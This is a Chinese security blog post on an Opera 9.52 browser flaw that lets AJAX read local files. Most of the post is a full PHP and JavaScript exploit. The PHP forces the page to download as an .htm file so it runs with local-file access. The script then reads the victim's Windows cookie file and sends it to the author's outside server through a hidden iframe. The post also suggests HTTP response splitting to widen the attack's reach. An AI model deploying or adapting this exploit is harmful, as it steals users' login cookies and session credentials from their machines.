opera9.52使用ajax读取本地文件漏洞进一步利用
作者:空虚浪子心
在前文《opera9.52使用ajax读取本地文件漏洞》
中,提到了opera的ajax读取本地文件漏洞。
但是利用方式上,比较狭隘。
很少人会专门下载htm文件到本地,然后打开。
但是动态语言(php,asp等)只要修改header,就可以指定让用户下载。
我们设计如下代码的php文件:
b.php代码
<?
/*
opera 9.52 use ajax read local txt file and upload exp
www.inbreak.net
author [email protected] 2009-1-6
*/
header("Content-Disposition: attachment;filename=kxlzx.htm");
header("Content-type: application/kxlzx");
?>
<iframe id="framekxlzx" width=0 height=0></iframe>
<script>
var xmlHttp;
function createXMLHttp(){
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else if(window.ActiveXObject){
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
function startRequest(doUrl){
createXMLHttp();
xmlHttp.onreadystatechange = handleStateChange;
xmlHttp.open("GET", doUrl, true);
xmlHttp.send(null);
}
function handleStateChange(){
if (xmlHttp.readyState == 4 ){
var strResponse = "";
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
}
}
function doMyAjax(user,file)
{
var time = Math.random();
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
startRequest(strPer);
}
function framekxlzxPost(text)
{
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
alert(/ok/);
}
doMyAjax('administrator','administrator@alibaba[1].txt');
</script>
其他代码和前文一致,但是多出了
header(“Content-Disposition: attachment;filename=kxlzx.htm”);
header(“Content-type: application/kxlzx”);
这段。
第一行定义http头,下载文件的文件名默认为kxlzx.htm。
因为如果你下载了其他类型的文件,windows会默认让其他类型的文件程序打开。
但是定义了htm文件名后,windows就会让opera打开这个文件。
注意,这里已经下载了文件,所以域属于本地域。
第二行定义了mm文件头(呃。。。),随便写了一个不存在的,opera就会自动下载该文件了。
使用opera打开测试地址:
http://www.inbreak.net/kxlzxtest/testxss/b.php
打开后,效果如图
我想,看到这个框,用户不管是点了打开还是点了保存,最终打开的时候,都是使用opera在本地域下打开的。
比较猥琐的利用方法。
更猥琐的方式,大家可以结合HTTP Response Splitting 攻击 ,在http头加上以上两段内容,利用范围更广。